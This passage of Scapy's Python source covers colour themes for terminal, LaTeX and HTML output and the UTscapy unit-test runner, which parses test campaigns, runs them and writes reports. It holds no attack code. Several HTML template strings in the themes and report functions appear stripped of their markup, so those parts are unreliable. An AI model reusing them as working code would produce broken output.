"#ansiblue"), "purple": ("\033[35m", "#ansipurple"), "cyan": ("\033[36m", "#ansicyan"), "grey": ("\033[37m", "#ansiwhite"), "reset": ("\033[39m", "noinherit"), # background "bg_black": ("\033[40m", "bg:#ansiblack"), "bg_red": ("\033[41m", "bg:#ansired"), "bg_green": ("\033[42m", "bg:#ansigreen"), "bg_yellow": ("\033[43m", "bg:#ansiyellow"), "bg_blue": ("\033[44m", "bg:#ansiblue"), "bg_purple": ("\033[45m", "bg:#ansipurple"), "bg_cyan": ("\033[46m", "bg:#ansicyan"), "bg_grey": ("\033[47m", "bg:#ansiwhite"), "bg_reset": ("\033[49m", "noinherit"), # specials "normal": ("\033[0m", "noinherit"), # color & brightness "bold": ("\033[1m", "bold"), "uline": ("\033[4m", "underline"), "blink": ("\033[5m", ""), "invert": ("\033[7m", ""), } def __repr__(self): return "" def __getattr__(self, attr): return self.colors.get(attr, [""])[0] def ansi_to_pygments(self, x): # Transform ansi encoded text to Pygments text # noqa: E501 inv_map = {v[0]: v[1] for k, v in self.colors.items()} for k, v in inv_map.items(): x = x.replace(k, " " + v) return x.strip() Color = ColorTable() def create_styler(fmt=None, before="", after="", fmt2="%s"): def do_style(val, fmt=fmt, before=before, after=after, fmt2=fmt2): if fmt is None: if not isinstance(val, str): val = str(val) else: val = fmt % val return fmt2 % (before + val + after) return do_style class ColorTheme: def __repr__(self): return "<%s>" % self.__class__.__name__ def __reduce__(self): return (self.__class__, (), ()) def __getattr__(self, attr): if attr in ["__getstate__", "__setstate__", "__getinitargs__", "__reduce_ex__"]: raise AttributeError() return create_styler() def format(self, string, fmt): for style in fmt.split("+"): string = getattr(self, style)(string) return string class NoTheme(ColorTheme): pass class AnsiColorTheme(ColorTheme): def __getattr__(self, attr): if attr.startswith("__"): raise AttributeError(attr) s = "style_%s" % attr if s in self.__class__.__dict__: before = getattr(self, s) after = self.style_normal elif not isinstance(self, BlackAndWhite) and attr in Color.colors: before = Color.colors[attr][0] after = Color.colors["normal"][0] else: before = after = "" return create_styler(before=before, after=after) style_normal = "" style_prompt = "" style_punct = "" style_id = "" style_not_printable = "" style_layer_name = "" style_field_name = "" style_field_value = "" style_emph_field_name = "" style_emph_field_value = "" style_packetlist_name = "" style_packetlist_proto = "" style_packetlist_value = "" style_fail = "" style_success = "" style_odd = "" style_even = "" style_opening = "" style_active = "" style_closed = "" style_left = "" style_right = "" style_logo = "" class BlackAndWhite(AnsiColorTheme, NoTheme): pass class DefaultTheme(AnsiColorTheme): style_normal = Color.normal style_prompt = Color.blue + Color.bold style_punct = Color.normal style_id = Color.blue + Color.bold style_not_printable = Color.grey style_layer_name = Color.red + Color.bold style_field_name = Color.blue style_field_value = Color.purple style_emph_field_name = Color.blue + Color.uline + Color.bold style_emph_field_value = Color.purple + Color.uline + Color.bold style_packetlist_name = Color.red + Color.bold style_packetlist_proto = Color.blue style_packetlist_value = Color.purple style_fail = Color.red + Color.bold style_success = Color.blue + Color.bold style_even = Color.black + Color.bold style_odd = Color.black style_opening = Color.yellow style_active = Color.black style_closed = Color.grey style_left = Color.blue + Color.invert style_right = Color.red + Color.invert style_logo = Color.green + Color.bold class BrightTheme(AnsiColorTheme): style_normal = Color.normal style_punct = Color.normal style_id = Color.yellow + Color.bold style_layer_name = Color.red + Color.bold style_field_name = Color.yellow + Color.bold style_field_value = Color.purple + Color.bold style_emph_field_name = Color.yellow + Color.bold style_emph_field_value = Color.green + Color.bold style_packetlist_name = Color.red + Color.bold style_packetlist_proto = Color.yellow + Color.bold style_packetlist_value = Color.purple + Color.bold style_fail = Color.red + Color.bold style_success = Color.blue + Color.bold style_even = Color.black + Color.bold style_odd = Color.black style_left = Color.cyan + Color.invert style_right = Color.purple + Color.invert style_logo = Color.green + Color.bold class RastaTheme(AnsiColorTheme): style_normal = Color.normal + Color.green + Color.bold style_prompt = Color.yellow + Color.bold style_punct = Color.red style_id = Color.green + Color.bold style_not_printable = Color.green style_layer_name = Color.red + Color.bold style_field_name = Color.yellow + Color.bold style_field_value = Color.green + Color.bold style_emph_field_name = Color.green style_emph_field_value = Color.green style_packetlist_name = Color.red + Color.bold style_packetlist_proto = Color.yellow + Color.bold style_packetlist_value = Color.green + Color.bold style_fail = Color.red style_success = Color.red + Color.bold style_even = Color.yellow style_odd = Color.green style_left = Color.yellow + Color.invert style_right = Color.red + Color.invert style_logo = Color.green + Color.bold class ColorOnBlackTheme(AnsiColorTheme): """Color theme for black backgrounds""" style_normal = Color.normal style_prompt = Color.green + Color.bold style_punct = Color.normal style_id = Color.green style_not_printable = Color.black + Color.bold style_layer_name = Color.yellow + Color.bold style_field_name = Color.cyan style_field_value = Color.purple + Color.bold style_emph_field_name = Color.cyan + Color.bold style_emph_field_value = Color.red + Color.bold style_packetlist_name = Color.black + Color.bold style_packetlist_proto = Color.yellow + Color.bold style_packetlist_value = Color.purple + Color.bold style_fail = Color.red + Color.bold style_success = Color.green style_even = Color.black + Color.bold style_odd = Color.grey style_opening = Color.yellow style_active = Color.grey + Color.bold style_closed = Color.black + Color.bold style_left = Color.cyan + Color.bold style_right = Color.red + Color.bold style_logo = Color.green + Color.bold class FormatTheme(ColorTheme): def __getattr__(self, attr): if attr.startswith("__"): raise AttributeError(attr) colfmt = self.__class__.__dict__.get("style_%s" % attr, "%s") return create_styler(fmt2=colfmt) class LatexTheme(FormatTheme): style_prompt = r"\textcolor{blue}{%s}" style_not_printable = r"\textcolor{gray}{%s}" style_layer_name = r"\textcolor{red}{\bf %s}" style_field_name = r"\textcolor{blue}{%s}" style_field_value = r"\textcolor{purple}{%s}" style_emph_field_name = r"\textcolor{blue}{\underline{%s}}" # ul style_emph_field_value = r"\textcolor{purple}{\underline{%s}}" # ul style_packetlist_name = r"\textcolor{red}{\bf %s}" style_packetlist_proto = r"\textcolor{blue}{%s}" style_packetlist_value = r"\textcolor{purple}{%s}" style_fail = r"\textcolor{red}{\bf %s}" style_success = r"\textcolor{blue}{\bf %s}" style_left = r"\textcolor{blue}{%s}" style_right = r"\textcolor{red}{%s}" # style_even = r"}{\bf " # style_odd = "" style_logo = r"\textcolor{green}{\bf %s}" class LatexTheme2(FormatTheme): style_prompt = r"@`@textcolor@[@blue@]@@[@%s@]@" style_not_printable = r"@`@textcolor@[@gray@]@@[@%s@]@" style_layer_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_field_name = r"@`@textcolor@[@blue@]@@[@%s@]@" style_field_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_emph_field_name = r"@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@" style_emph_field_value = r"@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@" # noqa: E501 style_packetlist_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_packetlist_proto = r"@`@textcolor@[@blue@]@@[@%s@]@" style_packetlist_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_fail = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_success = r"@`@textcolor@[@blue@]@@[@@`@bfserices@[@@]@%s@]@" style_even = r"@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@" # style_odd = r"@`@textcolor@[@black@]@@[@@`@bfseries@[@@]@%s@]@" style_left = r"@`@textcolor@[@blue@]@@[@%s@]@" style_right = r"@`@textcolor@[@red@]@@[@%s@]@" style_logo = r"@`@textcolor@[@green@]@@[@@`@bfseries@[@@]@%s@]@" class HTMLTheme(FormatTheme): style_prompt = "%s" style_not_printable = "%s" style_layer_name = "%s" style_field_name = "%s" style_field_value = "%s" style_emph_field_name = "%s" style_emph_field_value = "%s" style_packetlist_name = "%s" style_packetlist_proto = "%s" style_packetlist_value = "%s" style_fail = "%s" style_success = "%s" style_even = "%s" style_odd = "%s" style_left = "%s" style_right = "%s" class HTMLTheme2(HTMLTheme): style_prompt = "#[#span class=prompt#]#%s#[#/span#]#" style_not_printable = "#[#span class=not_printable#]#%s#[#/span#]#" style_layer_name = "#[#span class=layer_name#]#%s#[#/span#]#" style_field_name = "#[#span class=field_name#]#%s#[#/span#]#" style_field_value = "#[#span class=field_value#]#%s#[#/span#]#" style_emph_field_name = "#[#span class=emph_field_name#]#%s#[#/span#]#" style_emph_field_value = "#[#span class=emph_field_value#]#%s#[#/span#]#" style_packetlist_name = "#[#span class=packetlist_name#]#%s#[#/span#]#" style_packetlist_proto = "#[#span class=packetlist_proto#]#%s#[#/span#]#" style_packetlist_value = "#[#span class=packetlist_value#]#%s#[#/span#]#" style_fail = "#[#span class=fail#]#%s#[#/span#]#" style_success = "#[#span class=success#]#%s#[#/span#]#" style_even = "#[#span class=even#]#%s#[#/span#]#" style_odd = "#[#span class=odd#]#%s#[#/span#]#" style_left = "#[#span class=left#]#%s#[#/span#]#" style_right = "#[#span class=right#]#%s#[#/span#]#" def apply_ipython_style(shell): """Updates the specified IPython console shell with the conf.color_theme scapy theme.""" try: from IPython.terminal.prompts import Prompts, Token except Exception: from scapy.error import log_loading log_loading.warning( "IPython too old. Shell color won't be handled." ) return from scapy.config import conf scapy_style = {} # Overwrite colors if isinstance(conf.color_theme, NoTheme): shell.colors = 'nocolor' elif isinstance(conf.color_theme, BrightTheme): # lightbg is optimized for light backgrounds shell.colors = 'lightbg' elif isinstance(conf.color_theme, ColorOnBlackTheme): # linux is optimised for dark backgrounds shell.colors = 'linux' else: # default shell.colors = 'neutral' try: get_ipython() # This function actually contains tons of hacks color_magic = shell.magics_manager.magics["line"]["colors"] color_magic(shell.colors) except NameError: pass # Prompt Style if isinstance(conf.prompt, Prompts): # Set custom prompt style shell.prompts_class = conf.prompt else: if isinstance(conf.color_theme, (FormatTheme, NoTheme)): # Formatable if isinstance(conf.color_theme, HTMLTheme): prompt = cgi.escape(conf.prompt) elif isinstance(conf.color_theme, LatexTheme): from scapy.utils import tex_escape prompt = tex_escape(conf.prompt) else: prompt = conf.prompt prompt = conf.color_theme.prompt(prompt) else: # Needs to be manually set prompt = str(conf.prompt) scapy_style[Token.Prompt] = Color.ansi_to_pygments( conf.color_theme.style_prompt ) class ClassicPrompt(Prompts): def in_prompt_tokens(self, cli=None): return [(Token.Prompt, prompt), ] def out_prompt_tokens(self): return [(Token.OutPrompt, ''), ] # Apply classic prompt style shell.prompts_class = ClassicPrompt sys.ps1 = prompt # Register scapy color style shell.highlighting_style_overrides = scapy_style # Apply if Live try: get_ipython().refresh_style() except NameError: pass scapy-2.4.4/scapy/tools/000077500000000000000000000000001372370053500151245ustar00rootroot00000000000000scapy-2.4.4/scapy/tools/UTscapy.py000066400000000000000000001102101372370053500170610ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Unit testing infrastructure for Scapy """ from __future__ import print_function import bz2 import copy import code import getopt import glob import hashlib import importlib import json import logging import os.path import sys import time import traceback import warnings import zlib from scapy.consts import WINDOWS import scapy.modules.six as six from scapy.modules.six.moves import range from scapy.config import conf from scapy.compat import base64_bytes, bytes_hex, plain_str # Util class # class Bunch: __init__ = lambda self, **kw: setattr(self, '__dict__', kw) def retry_test(func): """Retries the passed function 3 times before failing""" success = False ex = Exception("Unknown") for _ in six.moves.range(3): try: result = func() except Exception as e: time.sleep(1) ex = e else: success = True break if not success: raise ex assert success return result # Import tool # def import_module(name): if name.endswith(".py"): name = name[:-3] try: return importlib.import_module(name, package="scapy") except Exception: return importlib.import_module(name) # INTERNAL/EXTERNAL FILE EMBEDDING # class File: def __init__(self, name, URL, local): self.name = name self.local = local.encode("utf8") self.URL = URL def get_local(self): return bz2.decompress(base64_bytes(self.local)) def get_URL(self): return self.URL def write(self, dir): if dir: dir += "/" with open(dir + self.name, "wb") as fdesc: fdesc.write(self.get_local()) # Embed a base64 encoded bziped version of js and css files # to work if you can't reach Internet. class External_Files: UTscapy_js = File("UTscapy.js", "https://scapy.net/files/UTscapy/UTscapy.js", # noqa: E501 """QlpoOTFBWSZTWWVijKQAAXxfgERUYOvAChIhBAC /79+qQAH8AFA0poANAMjQAAAGABo0NGEZNBo0\n0BhgAaNDRhGTQaNNAYFURJinp lGaKbRkJiekzSenqmpA0Gm1LFMpRUklVQlK9WUTZYpNFI1IiEWE\nFT09Sfj5uO+ qO6S5DQwKIxM92+Zku94wL6V/1KTKan2c66Ug6SmVKy1ZIrgauxMVLF5xLH0lJRQ u\nKlqLF10iatlTzqvw7S9eS3+h4lu3GZyMgoOude3NJ1pQy8eo+X96IYZw+yneh siPj73m0rnvQ3QX\nZ9BJQiZQYQ5/uNcl2WOlC5vyQqV/BWsnr2NZYLYXQLDs/Bf fk4ZfR4/SH6GfA5Xlek4xHNHqbSsR\nbREOgueXo3kcYi94K6hSO3ldD2O/qJXOF qJ8o3TE2aQahxtQpCVUKQMvODHwu2YkaORYZC6gihEa\nllcHDIAtRPScBACAJnU ggYhLDX6DEko7nC9GvAw5OcEkiyDUbLdiGCzDaXWMC2DuQ2Y6sGf6NcRu\nON7QS bhHsPc4KKmZ/xdyRThQkGVijKQ=\n""") UTscapy_css = File("UTscapy.css", "https://scapy.net/files/UTscapy/UTscapy.css", # noqa: E501 """QlpoOTFBWSZTWbpATIwAAFpfgHwQSB//+Cpj2Q C//9/6UAS5t7qcLut3NNDp0gxKMmpqaep6n6iP\n1J+pPU0yAAaeoaDI0BJCTJqa j1BoaGhoAAPSAAAJNSRqmmk8TQmj1DT1Hom1HkQABoNDmmJgATAB\nMAAJgACYJI hDQUzCR5Q0niRoaAGgGmZS+faw7LNbkliDG1Q52WJCd85cxRVVKegld8qCRISoto GD\nEGREFEYRW0CxAgTb13lodjuN7E1aCFgRFVhiEmZAZ/ek+XR0c8DWiAKpBgY2 LNpQ1rOvlnoUI1Al\n0ySaP1w2MyFxoQqRicScCm6WnQOxDnufxk8s2deLLKlN+r fvxyTTCGRAWZONkVGIxVQRZGZLeAwH\nbpQXZcYj467i85knEOYWmLcokaqEGYGS xMCpD+cOIaL7GCxEU/aNSlWFNCvQBvzb915huAgdIdD2\nya9ZQGoqrmtommfAxu 7FGTDBNBfir9UkAMmT1KRzxasJ0n2OE+mlgTZzJnhydbJaMtAk8DJzUuvv\nZpc3 CJLVyr8F3NmIQO5E3SJSY3SQnk1CQwlELqFutXjeWWzmiywo7xJk5rUcVOV9+Ro4 96WmXsUr\nkKhNocbnFztqPhesccW5kja+KuNFmzdw4DVOBJ2JPhGOYSwCUiwUe2 kOshYBdULUmwYwToAGdgA9\n5n3bSpG85LUFIE0Cw78EYVgY0ESnYW5UdfgBhj1w PiiXDEG2vAtr38O9kdwg3tFU/0okilEjDYDa\nEfkomkLUSokmE8g1fMYBqQyyaP RWmySO3EtAuMVhQqIuMldOzLqWubl7k1MnhuBaELOgtB2TChcS\n0k7jvgdBKIef UkdAf3t2GO/LVSrDvkcb4l4TrwrI7JeCo8pBvXqZBqZJSqbsAziG7QDQVNqdtFGz \nEvMKOvKvUQ6mJFigLxBnziGQGQDEMQPSGhlV2BwAN6rZEmLwgED0OrEiSxXDcB MDskp36AV7IbKa\nCila/Wm1BKhBF+ZIqtiFyYpUhI1Q5+JK0zK7aVyLS9y7GaSr NCRpr7uaa1UgapVKs6wKKQzYCWsV\n8iCGrAkgWZEnDMJWCGUZOIpcmMle1UXSAl d5OoUYXNo0L7WSOcxEkSGjCcRhjvMRP1pAUuBPRCRA\n2lhC0ZgLYDAf5V2agMUa ki1ZgOQDXQ7aIDTdjGRTgnzPML0V1X+tIoSSZmZhrxZbluMWGEkwwky6\n0ObWIM cEbX4cawPPBVc6m5UUPbEmBANyjtNvTKE2ri7oOmBVKIMLqQKm+4rlmisu2uGSxW zTov5w\nqQDp61FkHk40wzQUKk4YcBlbQT1l8VXeZJYAVFjSJIcC8JykBYZJ1yka I4LDm5WP7s2NaRkhhV7A\nFVSD5zA8V/DJzfTk0QHmCT2wRgwPKjP60EqqlDUaST /i7kinChIXSAmRgA==\n""") def get_local_dict(cls): return {x: y.name for (x, y) in six.iteritems(cls.__dict__) if isinstance(y, File)} get_local_dict = classmethod(get_local_dict) def get_URL_dict(cls): return {x: y.URL for (x, y) in six.iteritems(cls.__dict__) if isinstance(y, File)} get_URL_dict = classmethod(get_URL_dict) # HELPER CLASSES FOR PARAMETRING OUTPUT FORMAT # class EnumClass: def from_string(cls, x): return cls.__dict__[x.upper()] from_string = classmethod(from_string) class Format(EnumClass): TEXT = 1 ANSI = 2 HTML = 3 LATEX = 4 XUNIT = 5 LIVE = 6 # TEST CLASSES # class TestClass: def __getitem__(self, item): return getattr(self, item) def add_keywords(self, kws): if isinstance(kws, six.string_types): kws = [kws.lower()] for kwd in kws: kwd = kwd.lower() if kwd.startswith('-'): try: self.keywords.remove(kwd[1:]) except KeyError: pass else: self.keywords.add(kwd) class TestCampaign(TestClass): def __init__(self, title): self.title = title self.filename = None self.headcomments = "" self.campaign = [] self.keywords = set() self.crc = None self.sha = None self.preexec = None self.preexec_output = None self.end_pos = 0 self.interrupted = False self.duration = 0.0 def add_testset(self, testset): self.campaign.append(testset) testset.keywords.update(self.keywords) def trunc(self, index): self.campaign = self.campaign[:index] def startNum(self, beginpos): for ts in self: for t in ts: t.num = beginpos beginpos += 1 self.end_pos = beginpos def __iter__(self): return self.campaign.__iter__() def all_tests(self): for ts in self: for t in ts: yield t class TestSet(TestClass): def __init__(self, name): self.name = name self.tests = [] self.comments = "" self.keywords = set() self.crc = None self.expand = 1 def add_test(self, test): self.tests.append(test) test.keywords.update(self.keywords) def trunc(self, index): self.tests = self.tests[:index] def __iter__(self): return self.tests.__iter__() class UnitTest(TestClass): def __init__(self, name): self.name = name self.test = "" self.comments = "" self.result = "passed" # make instance True at init to have a different truth value than None self.duration = 0 self.output = "" self.num = -1 self.keywords = set() self.crc = None self.expand = 1 def decode(self): if six.PY2: self.test = self.test.decode("utf8", "ignore") self.output = self.output.decode("utf8", "ignore") self.comments = self.comments.decode("utf8", "ignore") self.result = self.result.decode("utf8", "ignore") def __nonzero__(self): return self.result == "passed" __bool__ = __nonzero__ # Careful note: all data not included will be set by default. # Use -c as first argument !! def parse_config_file(config_path, verb=3): """Parse provided json to get configuration Empty default json: { "testfiles": [], "breakfailed": true, "onlyfailed": false, "verb": 3, "dump": 0, "docs": 0, "crc": true, "preexec": {}, "global_preexec": "", "outputfile": null, "local": true, "format": "ansi", "num": null, "modules": [], "kw_ok": [], "kw_ko": [] } """ with open(config_path) as config_file: data = json.load(config_file) if verb > 2: print("### Loaded config file", config_path, file=sys.stderr) def get_if_exist(key, default): return data[key] if key in data else default return Bunch(testfiles=get_if_exist("testfiles", []), breakfailed=get_if_exist("breakfailed", True), remove_testfiles=get_if_exist("remove_testfiles", []), onlyfailed=get_if_exist("onlyfailed", False), verb=get_if_exist("verb", 3), dump=get_if_exist("dump", 0), crc=get_if_exist("crc", 1), docs=get_if_exist("docs", 0), preexec=get_if_exist("preexec", {}), global_preexec=get_if_exist("global_preexec", ""), outfile=get_if_exist("outputfile", sys.stdout), local=get_if_exist("local", False), num=get_if_exist("num", None), modules=get_if_exist("modules", []), kw_ok=get_if_exist("kw_ok", []), kw_ko=get_if_exist("kw_ko", []), format=get_if_exist("format", "ansi")) # PARSE CAMPAIGN # def parse_campaign_file(campaign_file): test_campaign = TestCampaign("Test campaign") test_campaign.filename = campaign_file.name testset = None test = None testnb = 0 for line in campaign_file.readlines(): if line[0] == '#': continue if line[0] == "~": (test or testset or test_campaign).add_keywords(line[1:].split()) elif line[0] == "%": test_campaign.title = line[1:].strip() elif line[0] == "+": testset = TestSet(line[1:].strip()) test_campaign.add_testset(testset) test = None elif line[0] == "=": test = UnitTest(line[1:].strip()) test.num = testnb testnb += 1 if testset is None: error_m = "Please create a test set (i.e. '+' section)." raise getopt.GetoptError(error_m) testset.add_test(test) elif line[0] == "*": if test is not None: test.comments += line[1:] elif testset is not None: testset.comments += line[1:] else: test_campaign.headcomments += line[1:] else: if test is None: if line.strip(): print("Unknown content [%s]" % line.strip(), file=sys.stderr) else: test.test += line return test_campaign def dump_campaign(test_campaign): print("#" * (len(test_campaign.title) + 6)) print("## %(title)s ##" % test_campaign) print("#" * (len(test_campaign.title) + 6)) if test_campaign.sha and test_campaign.crc: print("CRC=[%(crc)s] SHA=[%(sha)s]" % test_campaign) print("from file %(filename)s" % test_campaign) print() for ts in test_campaign: if ts.crc: print("+--[%s]%s(%s)--" % (ts.name, "-" * max(2, 80 - len(ts.name) - 18), ts.crc)) # noqa: E501 else: print("+--[%s]%s" % (ts.name, "-" * max(2, 80 - len(ts.name) - 6))) if ts.keywords: print(" kw=%s" % ",".join(ts.keywords)) for t in ts: print("%(num)03i %(name)s" % t) c = k = "" if t.keywords: k = "kw=%s" % ",".join(t.keywords) if t.crc: c = "[%(crc)s] " % t if c or k: print(" %s%s" % (c, k)) def docs_campaign(test_campaign): print("%(title)s" % test_campaign) print("=" * (len(test_campaign.title))) print() if len(test_campaign.headcomments): print("%s" % test_campaign.headcomments.strip().replace("\n", "")) print() for ts in test_campaign: print("%s" % ts.name) print("-" * len(ts.name)) print() if len(ts.comments): print("%s" % ts.comments.strip().replace("\n", "")) print() for t in ts: print("%s" % t.name) print("^" * len(t.name)) print() if len(t.comments): print("%s" % t.comments.strip().replace("\n", "")) print() print("Usage example::") for line in t.test.split('\n'): if not line.rstrip().endswith('# no_docs'): print("\t%s" % line) # COMPUTE CAMPAIGN DIGESTS # if six.PY2: def crc32(x): return "%08X" % (0xffffffff & zlib.crc32(x)) def sha1(x): return hashlib.sha1(x).hexdigest().upper() else: def crc32(x): return "%08X" % (0xffffffff & zlib.crc32(bytearray(x, "utf8"))) def sha1(x): return hashlib.sha1(x.encode("utf8")).hexdigest().upper() def compute_campaign_digests(test_campaign): dc = "" for ts in test_campaign: dts = "" for t in ts: dt = t.test.strip() t.crc = crc32(dt) dts += "\0" + dt ts.crc = crc32(dts) dc += "\0\x01" + dts test_campaign.crc = crc32(dc) with open(test_campaign.filename) as fdesc: test_campaign.sha = sha1(fdesc.read()) # FILTER CAMPAIGN # def filter_tests_on_numbers(test_campaign, num): if num: for ts in test_campaign: ts.tests = [t for t in ts.tests if t.num in num] test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests] def _filter_tests_kw(test_campaign, kw, keep): def kw_match(lst, kw): return any(k for k in lst if kw == k) if kw: kw = kw.lower() if keep: cond = lambda x: x else: cond = lambda x: not x for ts in test_campaign: ts.tests = [t for t in ts.tests if cond(kw_match(t.keywords, kw))] def filter_tests_keep_on_keywords(test_campaign, kw): return _filter_tests_kw(test_campaign, kw, True) def filter_tests_remove_on_keywords(test_campaign, kw): return _filter_tests_kw(test_campaign, kw, False) def remove_empty_testsets(test_campaign): test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests] # RUN TEST # def run_test(test, get_interactive_session, verb=3, ignore_globals=None, my_globals=None): """An internal UTScapy function to run a single test""" start_time = time.time() test.output, res = get_interactive_session(test.test.strip(), ignore_globals=ignore_globals, verb=verb, my_globals=my_globals) test.result = "failed" try: if res is None or res: test.result = "passed" if test.output.endswith('KeyboardInterrupt\n'): test.result = "interrupted" raise KeyboardInterrupt except Exception: test.output += "UTscapy: Error during result interpretation:\n" test.output += "".join(traceback.format_exception(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2],)) finally: test.duration = time.time() - start_time if test.result == "failed": from scapy.sendrecv import debug # Add optional debugging data to log if debug.crashed_on: cls, val = debug.crashed_on test.output += "\n\nPACKET DISSECTION FAILED ON:\n %s(hex_bytes('%s'))" % (cls.__name__, plain_str(bytes_hex(val))) debug.crashed_on = None test.decode() if verb > 2: print("%(result)6s %(crc)s %(duration)06.2fs %(name)s" % test, file=sys.stderr) elif verb > 1: print("%(result)6s %(crc)s %(name)s" % test, file=sys.stderr) return bool(test) # RUN CAMPAIGN # def import_UTscapy_tools(ses): """Adds UTScapy tools directly to a session""" ses["retry_test"] = retry_test ses["Bunch"] = Bunch if WINDOWS: from scapy.arch.windows import _route_add_loopback, IFACES _route_add_loopback() ses["IFACES"] = IFACES ses["conf"].route.routes = conf.route.routes ses["conf"].route6.routes = conf.route6.routes def run_campaign(test_campaign, get_interactive_session, drop_to_interpreter=False, verb=3, ignore_globals=None, scapy_ses=None): # noqa: E501 passed = failed = 0 if test_campaign.preexec: test_campaign.preexec_output = get_interactive_session( test_campaign.preexec.strip(), ignore_globals=ignore_globals, my_globals=scapy_ses)[0] # Drop def drop(scapy_ses): code.interact(banner="Test '%s' failed. " "exit() to stop, Ctrl-D to leave " "this interpreter and continue " "with the current test campaign" % t.name, local=scapy_ses) try: for i, testset in enumerate(test_campaign): for j, t in enumerate(testset): if run_test(t, get_interactive_session, verb, my_globals=scapy_ses): passed += 1 else: failed += 1 if drop_to_interpreter: drop(scapy_ses) test_campaign.duration += t.duration except KeyboardInterrupt: failed += 1 testset.trunc(j + 1) test_campaign.trunc(i + 1) test_campaign.interrupted = True if verb: print("Campaign interrupted!", file=sys.stderr) if drop_to_interpreter: drop(scapy_ses) test_campaign.passed = passed test_campaign.failed = failed if verb > 2: print("Campaign CRC=%(crc)s in %(duration)06.2fs SHA=%(sha)s" % test_campaign, file=sys.stderr) # noqa: E501 print("PASSED=%i FAILED=%i" % (passed, failed), file=sys.stderr) elif verb: print("Campaign CRC=%(crc)s SHA=%(sha)s" % test_campaign, file=sys.stderr) # noqa: E501 print("PASSED=%i FAILED=%i" % (passed, failed), file=sys.stderr) return failed # INFO LINES # def info_line(test_campaign): filename = test_campaign.filename if filename is None: return "Run %s by UTscapy" % time.ctime() else: return "Run %s from [%s] by UTscapy" % (time.ctime(), filename) def html_info_line(test_campaign): filename = test_campaign.filename if filename is None: return """Run %s by UTscapy
""" % time.ctime() # noqa: E501 else: return """Run %s from [%s] by UTscapy
""" % (time.ctime(), filename) # noqa: E501 # CAMPAIGN TO something # def campaign_to_TEXT(test_campaign): output = "%(title)s\n" % test_campaign output += "-- " + info_line(test_campaign) + "\n\n" output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign for testset in test_campaign: if any(t.expand for t in testset): output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t # noqa: E501 return output def campaign_to_ANSI(test_campaign): return campaign_to_TEXT(test_campaign) def campaign_to_xUNIT(test_campaign): output = '\n\n' for testset in test_campaign: for t in testset: output += ' %(title)s

""" % test_campaign if test_campaign.crc is not None and test_campaign.sha is not None: output += "CRC=%(crc)s SHA=%(sha)s
" % test_campaign output += "" + html_info_line(test_campaign) + "" output += "".join([ test_campaign.headcomments, "\n

", "PASSED=%(passed)i FAILED=%(failed)i" % test_campaign, " INTERRUPTED!" if test_campaign.interrupted else "", "

\n\n", ]) for testset in test_campaign: output += "

" % testset if testset.crc is not None: output += "%(crc)s " % testset output += "%(name)s

\n%(comments)s\n
    \n" % testset for t in testset: output += """
  • \n""" % t if t.expand == 2: output += """ -%(num)03i- """ % t else: output += """ +%(num)03i+ """ % t if t.crc is not None: output += "%(crc)s\n" % t output += """%(name)s\n """ % t output += "\n
\n\n" return output def pack_html_campaigns(runned_campaigns, data, local=False, title=None): output = """ %(title)s

UTScapy tests

Shrink All Expand All Expand Passed Expand Failed

""" for test_campaign in runned_campaigns: for ts in test_campaign: for t in ts: output += """%(num)03i\n""" % t output += """

\n\n %(data)s """ out_dict = {'data': data, 'title': title if title else "UTScapy tests"} if local: dirname = os.path.dirname(test_campaign.output_file) External_Files.UTscapy_js.write(dirname) External_Files.UTscapy_css.write(dirname) out_dict.update(External_Files.get_local_dict()) else: out_dict.update(External_Files.get_URL_dict()) output %= out_dict return output def campaign_to_LATEX(test_campaign): output = r"""\documentclass{report} \usepackage{alltt} \usepackage{xcolor} \usepackage{a4wide} \usepackage{hyperref} \title{%(title)s} \date{%%s} \begin{document} \maketitle \tableofcontents \begin{description} \item[Passed:] %(passed)i \item[Failed:] %(failed)i \end{description} %(headcomments)s """ % test_campaign output %= info_line(test_campaign) for testset in test_campaign: output += "\\chapter{%(name)s}\n\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += r"""\section{%(name)s} [%(num)03i] [%(result)s] %(comments)s \begin{alltt} %(output)s \end{alltt} """ % t output += "\\end{document}\n" return output # USAGE # def usage(): print("""Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX|live}] [-o output_file] [-t testfile] [-T testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-b] [-d|-D] [-F] [-q[q]] [-i] [-P preexecute_python_code] [-c configfile] -t\t\t: provide test files (can be used many times) -T\t\t: if -t is used with *, remove a specific file (can be used many times) -l\t\t: generate local .js and .css files -F\t\t: expand only failed tests -b\t\t: don't stop at the first failed campaign -d\t\t: dump campaign -D\t\t: dump campaign and stop -R\t\t: dump campaign as reStructuredText -C\t\t: don't calculate CRC and SHA -c\t\t: load a .utsc config file -i\t\t: drop into Python interpreter if test failed -q\t\t: quiet mode -qq\t\t: [silent mode] -x\t\t: use pyannotate -n \t: only tests whose numbers are given (eg. 1,3-7,12) -N\t\t: force non root -m \t: additional module to put in the namespace -k ,,...\t: include only tests with one of those keywords (can be used many times) -K ,,...\t: remove tests with one of those keywords (can be used many times) -P """, file=sys.stderr) raise SystemExit # MAIN # def execute_campaign(TESTFILE, OUTPUTFILE, PREEXEC, NUM, KW_OK, KW_KO, DUMP, DOCS, FORMAT, VERB, ONLYFAILED, CRC, INTERPRETER, autorun_func, pos_begin=0, ignore_globals=None, scapy_ses=None): # noqa: E501 # Parse test file test_campaign = parse_campaign_file(TESTFILE) # Report parameters if PREEXEC: 